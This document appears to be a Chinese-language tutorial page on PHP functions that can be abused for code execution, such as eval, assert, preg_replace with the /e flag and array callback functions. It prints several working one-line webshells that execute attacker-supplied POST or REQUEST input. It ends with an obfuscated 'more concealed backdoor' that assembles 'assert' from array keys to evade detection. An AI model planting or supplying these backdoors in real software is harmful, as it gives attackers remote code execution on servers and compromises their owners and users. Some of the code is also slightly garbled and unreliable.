PHP常见代码执⾏后门函数(例如eval和assert)
什么是代码执⾏:
应⽤程序在调⽤⼀些能够将字符串转换为代码的函数(例如php中的eval中),没有考虑⽤户是否控制这个字符串,将造成代码执⾏漏洞。常见php代码执⾏函数介绍
常⽤执⾏代码函数
1、e v al():
<?php @eval($_POST['hacker']); ?>
eval函数将接受的字符串当做代码执⾏
2、 as s e r t():
⽤法和 eval()⼀样
<?php @assert($_POST['hacker']); ?>
3、p r e g_r e p lace():
<?php @preg_replace("/abcd/e",$_POST['hacker'],"abcdefg"); ?>
preg_replace 函数⼀个参数是⼀个正则表达式,按照 php的格式,表达式在两个/之间,如果在表达式末尾加上⼀个 e,则第⼆个参数就会被当做 php代码执⾏
4、 cr e ate_f unction():
<?php
$newfun = create_function('$hacker', 'echo $hacker;');
$newfun('woaini');
>
创建了⼀个匿名函数,并返回了⼀个独⼀⽆⼆的函数名
5、 call_us e r_f unc():
<?php
echo call_user_func('shell_exec','whoami');
>
<?php
call_user_func_array('assert', array($_POST['pass']));
>
函数的第⼀个参数是被调动的函数,剩下的参数(可有多个参数)是被调⽤函数的参数
call_user_func_array(): ⽅法同上,只是第⼆个参数要是⼀个数组,作为第⼀个参数的参数
6、更多回调函数php延时函数
call_user_func_array()
call_user_func()
array_filter()
array_walk() array_map()
registregister_shutdown_function()
register_tick_function()
filter_var()
filter_var_array()
uasort()
uksort()
array_reduce()
array_walk()
array_walk_recursive()
<?php forward_static_call_array(assert,array($_POST[x]));?>解释:把函数作为参数传⼊进另⼀个函数中使⽤。
call_user_func
把第⼀个参数作为回调函数调⽤
call_user_func_array
调⽤回调函数,并把⼀个数组参数作为回调函数的参数usort
使⽤⽤户⾃定义的⽐较函数对数组中的值进⾏排序
register_shutdown_function
<?php register_shutdown_function('assert','phpinfo();');?>
注册⼀个会在php中⽌时执⾏的函数
array_map
为数组的每个元素应⽤回调函数
array_walk
使⽤⽤户⾃定义函数对数组中的每个元素做回调处理array_filter
⽤回调函数过滤数组中的单元
array_reduce
⽤回调函数迭代地将数组简化为单⼀的值
array_udiff
⽤回调函数⽐较数据来计算数组的差集
array_uintersect
计算数组的交集,⽤回调函数⽐较数据
array_diff_uassoc
⽤⽤户提供的回调函数做索引检查来计算数组的差集
array_diff_ukey
⽤回调函数对键名⽐较计算数组的差集
例⼦1:
<?php
//数组回调进⾏构造后门
$arr=array($_POST['pass']);
array_filter($arr,'assert');
array_map('assert', $arr);
uasort($arr, 'assert');
//等等,⽤回调函数进⾏构造
>
例⼦2:更隐蔽的后门
<?php
$fruits = array("a" => "lemon", "ss" => "orange", "ssr" => "banana", "t" => "apple"); $a =array_keys($fruits);
$m =$a[0].$a[1];
$n ='er';
$q = $m.$n.'t';
$r = $_REQUEST['user'];
@$q($r);
/*
$q会拼接成assert,然后使⽤@assert("⿊客⼊侵代码")来执⾏
assert这个函数在php语⾔中是⽤来判断⼀个表达式是否成⽴。返回true or false;
*/
>

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。